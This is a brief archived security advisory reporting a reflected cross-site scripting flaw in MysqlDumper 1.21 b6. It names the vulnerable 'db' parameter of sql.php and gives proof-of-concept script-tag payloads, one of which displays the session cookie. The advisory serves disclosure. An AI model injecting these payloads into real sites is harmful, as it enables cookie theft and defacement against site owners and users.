MysqlDumper Version 1.21 b6 Xss Vulnerability

2006-10-11T00:00:00
ID SECURITYVULNS:DOC:14624
Type securityvulns
Reporter Securityvulns
Modified 2006-10-11T00:00:00

Description

MysqlDumper Version 1.21 b6 Xss Vulnerability

By Crackers_Child

crackers_child@sibersavascilar.com

www.sibersavacilar.com

Download Script

http://www.mysqldumper.de/board/downloads.php?view=detail&id=17

Exploit

www.site.com/mysqldumper_path/sql.php?db=[Xss codes]

Examples

/mysqldumper_path/sql.php?db=<script>alert(document.cookie)</script>

/mysqldumper_path/sql.php?db=<script>alert(/HACKED BY CRACKERS_CHILD/)</script>

Greetz:All My Friends !